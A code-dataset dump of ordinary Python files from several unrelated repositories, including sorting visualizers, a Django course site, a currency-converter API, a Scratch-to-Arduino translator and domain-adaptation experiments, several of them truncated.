'click>=6.0',
'bumpversion>=0.5.3',
'wheel>=0.30.0',
'watchdog>=0.8.3',
'flake8>=3.5.0',
... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,952 | lresende/enterprise_scheduler | refs/heads/master | /tests/test_scheduler.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for `enterprise_scheduler` package."""
import asyncio
import os
import json
import unittest
import time
from pprint import pprint
from enterprise_scheduler.scheduler import Scheduler
from enterprise_scheduler.util import fix_asyncio_event_loop_policy
RESOURCES ... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,953 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/scheduler_resource.py | # -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,954 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/scheduler_application.py | # -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,955 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/scheduler.py | # -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,956 | taotao234/test | refs/heads/master | /random_wallk.py | from random import choice
class RandomWalk():
"""生产随机漫步数据的类"""
def __init__(self,num_points=5000):
"""初始化随机漫步的属性"""
self.num_points = num_points
#所有随机漫步的属性
self.x=[0]
self.y=[0]
def fill_walk(self):
"""计算随机漫步包含的所有点"""
#不断漫步，直到列表达到指定的长度
while len(self.x)<self.num_points:
#决定前进方向及沿着个方... | {"/die_visual.py": ["/die.py"]} |
27,957 | taotao234/test | refs/heads/master | /world_population.py | import json
from country_codes import get_country_code
import pygal
from pygal.style import RotateStyle as RS, LightColorizedStyle as LCS
#将数据加载到一个列表中
filename = 'population_data.json'
with open(filename) as f:
pop_data = json.load(f)
#打印每个国家2010年的人口数量#创建一个包含人口数量的字典
cc_populations = {}
for pop_dict in pop_data:
i... | {"/die_visual.py": ["/die.py"]} |
27,958 | taotao234/test | refs/heads/master | /die_visual.py | from die import Die
import pygal
#创建D6
die_1 = Die()
die_2 = Die()
#掷几次骰子，将结果储存至列表
results = []
for roll_num in range(1000):
result = die_1.roll()+die_2.roll()
results.append(result)
#分析结果
frequencies = [ ]
max_result = die_1.mianshu+die_2.mianshu
for value in range(2,max_result+1):
frequency = results.count(va... | {"/die_visual.py": ["/die.py"]} |
27,959 | taotao234/test | refs/heads/master | /die.py | from random import randint
class Die():
#表示一个骰子的类
def __init__(self,mianshu=6):
#骰子默认6个面
self.mianshu = mianshu
def roll(self):
#返回一个位于1和骰子面数之间的随机值
return randint(1,self.mianshu)
| {"/die_visual.py": ["/die.py"]} |
27,971 | erikbenton/neural_network_practice | refs/heads/master | /neural_network.py | import numpy as np
import math
import matplotlib as plt
import mnist_loader
import random
import json
import sys
class CrossEntropyCost:
@staticmethod
def fn(a, y):
return np.sum(np.nan_to_num(-y*np.log(a) - (1 - y)*np.log(1 - a)))
@staticmethod
def delta(z, a, y):
res = np.subtract(a... | {"/neural_network.py": ["/mnist_loader.py"]} |
27,972 | erikbenton/neural_network_practice | refs/heads/master | /mnist_loader.py | import pickle
import gzip
import numpy as np
def load_data():
# Returns the MNIST data as (training_data, validation_data, test_data)
# The training_data is tuple with 2 entries
#
# First entry has the actual training images used, which is a 50,000 entry numpy ndarray
# where each entry is a num... | {"/neural_network.py": ["/mnist_loader.py"]} |
27,973 | akash121801/Sorting-Visualizations | refs/heads/main | /InsertionSort.py |
import time
def insertion_sort(data, drawData, tick):
for i in range(1, len(data)):
j = i
while(j > 0 and data[j] < data[j-1]):
drawData(data, ['red' if x == j or x == j + 1 else 'gray' for x in range(len(data))])
time.sleep(tick)
data[j], data[j-1] = data[j-1], data[j]
j -=1
drawDat... | {"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]} |
27,974 | akash121801/Sorting-Visualizations | refs/heads/main | /MergeSort.py | import time
def merge_sort(data, drawData, tick):
return merge_sort_alg(data,0, len(data)-1, drawData, tick)
def merge_sort_alg(data, left, right, drawData, tick):
if left < right:
middle= (left + right) //2
merge_sort_alg(data, left, middle, drawData, tick)
merge_sort_alg(d... | {"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]} |
27,975 | akash121801/Sorting-Visualizations | refs/heads/main | /SelectionSort.py | import time
def selection_sort(data, drawData, tick):
for i in range(len(data) - 1):
minIndex = i
for j in range(i + 1, len(data)):
if(data[j] < data[minIndex]):
drawData(data, ['blue' if x == minIndex else 'gray' for x in range(len(data))])
time.sleep(tick)
minIndex = j
drawData(... | {"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]} |
27,976 | akash121801/Sorting-Visualizations | refs/heads/main | /QuickSort.py | import time
def Partition(data, left, right, drawData, tick):
i = (left-1) # index of smaller element
pivot = data[right] # pivot
drawData(data, getColorArray(len(data), left, right, i, i))
for j in range(left, right):
if data[j] <= pivot:
drawData(data, getCol... | {"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]} |
27,977 | akash121801/Sorting-Visualizations | refs/heads/main | /sortingAlgos.py | from tkinter import *
from tkinter import ttk
import random
from BubbleSort import bubble_sort
from SelectionSort import selection_sort
from InsertionSort import insertion_sort
from MergeSort import merge_sort
from QuickSort import quick_sort
window= Tk()
window.title('Sorting Algorithms Visualized')
window... | {"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]} |
27,978 | cahalls3/sneaky-head-1 | refs/heads/main | /sneakyhead/pages/urls.py | from django.urls import path
from .views import indexPageView, loginPageView, homePageView, profilePageView
urlpatterns = [
path("", indexPageView, name="index"),
path("login/", loginPageView, name="login"),
path("home/", homePageView, name="home"),
path("profile/", profilePageView, name="profile")
]
| {"/sneakyhead/pages/urls.py": ["/sneakyhead/pages/views.py"]} |
27,979 | cahalls3/sneaky-head-1 | refs/heads/main | /sneakyhead/pages/views.py | from django.http import HttpResponse
# displays either login page or user home page depending on if user is logged in
def indexPageView(request):
return HttpResponse('Index Page')
# displays form to login or create profile
def loginPageView(request):
return HttpResponse('Login Page')
# displays posts from... | {"/sneakyhead/pages/urls.py": ["/sneakyhead/pages/views.py"]} |
27,982 | akapitan/VideoSeries | refs/heads/master | /videoseries/courses/admin.py | from django.contrib import admin
from .models import Course, Lesson
#admin.site.register(Course)
#admin.site.register(Lesson)
class InlineLession(admin.TabularInline):
model = Lesson
extra = 1
max_num = 3
#@admin.register(Course)
class CourseAdmin(admin.ModelAdmin):
inlines = (InlineLession, )
l... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,983 | akapitan/VideoSeries | refs/heads/master | /videoseries/courses/urls.py |
from django.urls import path
from .views import CourseListView, CourseDetailView, LessonDetail
app_name = "courses"
urlpatterns = [
path('', CourseListView.as_view(), name='list'),
path('<slug>', CourseDetailView.as_view(), name='detail'),
#url(r'(P<slug>[\w-]+') same thing as up
path("<course_slug>... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,984 | akapitan/VideoSeries | refs/heads/master | /videoseries/core/managment/commands/rename.py | import os
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = 'Rename django project'
def add_arguments(self, parser):
parser.add_arguments('new_project_name', type=str, help='New project name')
def handle(self, *args, **kwargs):
new_project_name=kwargs[... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,985 | akapitan/VideoSeries | refs/heads/master | /videoseries/membership/views.py | from django.shortcuts import render, redirect
from django.views.generic import ListView
from .models import Membership, UserMembership, Subcription
from django.contrib import messages
from django.http import HttpResponseRedirect, HttpResponse
from django.urls import reverse
from django.conf import settings
import stri... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,986 | akapitan/VideoSeries | refs/heads/master | /videoseries/accounts/urls.py | from django.urls import path
from .views import loginView, registerView,loginView
app_name = "accounts"
urlpatterns = [
path('login/', loginView, name='login'),
path('register/', registerView, name='register'),
path('logout/', loginView, name='logout'),
]
| {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,987 | akapitan/VideoSeries | refs/heads/master | /videoseries/videoseries/urls.py | ''' Hello '''
from django.contrib import admin
from django.urls import path, include
from django.conf.urls.static import static
from django.conf import settings
from .views import home
from blog.views import blog_list, blog_index
urlpatterns = [
path('admin/', admin.site.urls),
path('courses/', include("cours... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,988 | akapitan/VideoSeries | refs/heads/master | /videoseries/accounts/views.py | from django.shortcuts import render, redirect
from django.contrib.auth import authenticate, get_user_model, login, logout
from .forms import UserLoginForm, UserRegisterFrom
from django.contrib.auth.hashers import make_password
def loginView(request):
next = request.GET.get('next')
print(next)
form = UserLo... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,989 | akapitan/VideoSeries | refs/heads/master | /videoseries/membership/admin.py | from django.contrib import admin
from membership.models import Membership, UserMembership, Subcription
from django.conf import settings
# Register your models here.
admin.site.register(Membership)
admin.site.register(UserMembership)
admin.site.register(Subcription)
| {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,990 | akapitan/VideoSeries | refs/heads/master | /videoseries/courses/views.py | from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from django.views.generic import ListView, DetailView, View
from .models import Course
from membership.models import UserMembership
class CourseListView(ListView):
model = Course
class CourseDetailView(DetailView):
m... | {"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]} |
27,998 | codelooper75/simple_currency_converter_api | refs/heads/main | /exchange_rate_parser.py | import urllib
from urllib import request
from html.parser import HTMLParser
class Parse(HTMLParser):
usd_rub_exchange_rate = ''
def __init__(self):
#Since Python 3, we need to call the __init__() function of the parent class
super().__init__()
self.reset()
#Defining what the method shou... | {"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]} |
27,999 | codelooper75/simple_currency_converter_api | refs/heads/main | /http_api_currency_exchange.py | import http.server
import importlib
import json
import os
import re
import shutil
import sys
import urllib.request
import urllib.parse
import logging
import sys
# LOGGING SETTINGS
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s %(... | {"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]} |
28,000 | codelooper75/simple_currency_converter_api | refs/heads/main | /tests.py | import urllib.request
import json
import sys
import pytest
# correct_request_payload = {"usd_summ": 1430}
def make_request(payload):
myurl = "http://localhost:8080/usd-rub"
req = urllib.request.Request(myurl, method='PUT')
req.add_header('Content-Type', 'application/json; charset=utf-8')
jsondata = ... | {"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]} |
28,004 | cproctor/scratch2arduino | refs/heads/master | /scratch_blocks.py | import re
import json
from random import randint
# Define:
# blocks are sequences of statements that stick together.
# statements are represented by vertical levels in a script.
# expressions are within statements, and evaluate to a value.
def clean_name(name):
"Converts a name to a canonical CamelCase"
... | {"/scratch_object.py": ["/scratch_blocks.py"]} |
28,005 | cproctor/scratch2arduino | refs/heads/master | /test/test_translator.py | from translator import *
import json
with open('test_cases.json') as testfile:
test_data = json.load(testfile)
for expression in test_data['expressions']:
print("EXPRESSION: {}".format(expression))
exp = ScratchExpression.instantiate(expression)
print(exp.to_arduino())
for statement in test_data[... | {"/scratch_object.py": ["/scratch_blocks.py"]} |
28,006 | cproctor/scratch2arduino | refs/heads/master | /scratch_object.py | # This is not ver general_purpose yet...
# Have the app ping the CDN every 30 seconds; track when the student clicks for an update as well.
# Check for when a program's hash changes.
from scratch_blocks import *
TYPE_TRANSLATIONS = {
"int": "int",
"str": "String",
"unicode": "String",
"float": "float"... | {"/scratch_object.py": ["/scratch_blocks.py"]} |
28,007 | cproctor/scratch2arduino | refs/heads/master | /scratch2arduino_server.py | # Note: log everything in sqlite!
from flask import Flask
from scratch_object import *
import requests
import json
from jinja2 import Environment, FileSystemLoader
from os.path import dirname, realpath
import traceback
import logging
import datetime
log = logging.getLogger(__name__)
handler = logging.FileHandler("/v... | {"/scratch_object.py": ["/scratch_blocks.py"]} |
28,008 | rakshithxaloori/svm-ann | refs/heads/main | /classifier.py | import pandas as pd
import numpy as np
from sklearn.pipeline import make_pipeline
from sklearn.preprocessing import StandardScaler
from sklearn.neural_network import MLPClassifier
from sklearn.svm import SVC
def test_classifier(clf, X, y):
""" RETURN the accuracy on data X, y using classifier clf. """
predicti... | {"/runner.py": ["/classifier.py"]} |
28,009 | rakshithxaloori/svm-ann | refs/heads/main | /runner.py | import sys
import csv
from sklearn.model_selection import train_test_split
from classifier import svm_tasks, ann_tasks
def convert_row_to_int(row):
new_row = []
for value in row:
new_row.append(float(value))
return new_row
if __name__ == "__main__":
if len(sys.argv) != 2:
sys.exit("U... | {"/runner.py": ["/classifier.py"]} |
28,019 | prabhath6/my_project | refs/heads/master | /my_project/module_one.py | # -*- coding: utf-8 -*-
from collections import Counter
def get_char_count(data):
"""
:param data: str
:return: Counter
"""
c = Counter(data)
return c
| {"/main.py": ["/my_project/module_two.py"]} |
28,020 | prabhath6/my_project | refs/heads/master | /main.py | from my_project.module_two import custom_count
if __name__ == "__main__":
print(custom_count("AAAAsdfsdvver", 3))
| {"/main.py": ["/my_project/module_two.py"]} |
28,021 | prabhath6/my_project | refs/heads/master | /my_project/module_two.py | # -*- coding: utf-8 -*-
from my_project import module_one
def custom_count(data, count):
"""
:param data: str
:param count: int
:return: list
"""
c = module_one.get_char_count(data)
return [(i, j) for i, j in c.items() if j >= count]
| {"/main.py": ["/my_project/module_two.py"]} |
28,022 | prabhath6/my_project | refs/heads/master | /tests/test_module_two.py | from my_project import module_two
from nose.tools import assert_equal
class TestModuleTwo():
@classmethod
def setup_class(klass):
"""This method is run once for each class before any tests are run"""
@classmethod
def teardown_class(klass):
"""This method is run once for each class _a... | {"/main.py": ["/my_project/module_two.py"]} |
28,027 | mkirchmeyer/adaptation-imputation | refs/heads/main | /src/eval/utils_eval.py | import torch.nn.functional as F
from src.utils.utils_network import build_label_domain
import torch
from sklearn.metrics import roc_auc_score
import numpy as np
np.set_printoptions(precision=4, formatter={'float_kind':'{:3f}'.format})
def evaluate_domain_classifier_class(model, data_loader, domain_label, is_target, ... | {"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",... |
28,028 | mkirchmeyer/adaptation-imputation | refs/heads/main | /experiments/launcher/criteo_binary.py | import random
import numpy as np
import torch
import time
from experiments.launcher.config import Config, dummy_model_config
from src.dataset.utils_dataset import create_dataset_criteo
from src.models.criteo.dann_imput_criteo import DANNImput
from src.models.criteo.dann_criteo import DANN
from src.utils.utils_network ... | {"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",... |
28,029 | mkirchmeyer/adaptation-imputation | refs/heads/main | /src/models/digits/djdot_imput_digits.py | import torch
import torch.nn.functional as F
from itertools import cycle
from time import clock as tick
import torch.optim as optim
from experiments.launcher.config import DatasetConfig
from src.eval.utils_eval import evaluate_data_imput_classifier, compute_mse_imput
from src.models.digits.djdot_digits import dist_torc... | {"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",... |
28,030 | mkirchmeyer/adaptation-imputation | refs/heads/main | /src/models/digits/djdot_digits.py | from time import clock as tick
import torch
from experiments.launcher.config import DatasetConfig
from src.eval.utils_eval import evaluate_data_classifier
from src.plotting.utils_plotting import plot_data_frontier_digits
from src.utils.network import weight_init_glorot_uniform
from src.utils.utils_network import set_lr... | {"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",... |
28,031 | mkirchmeyer/adaptation-imputation | refs/heads/main | /experiments/launcher/digits_binary.py | import random
import numpy as np
import torch
import time
from experiments.launcher.config import Config, dummy_model_config
from src.dataset.utils_dataset import create_dataset
from src.models.digits.dann_imput_digits import DANNImput
from src.models.digits.dann_digits import DANN
from src.models.digits.djdot_imput_di... | {"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",... |
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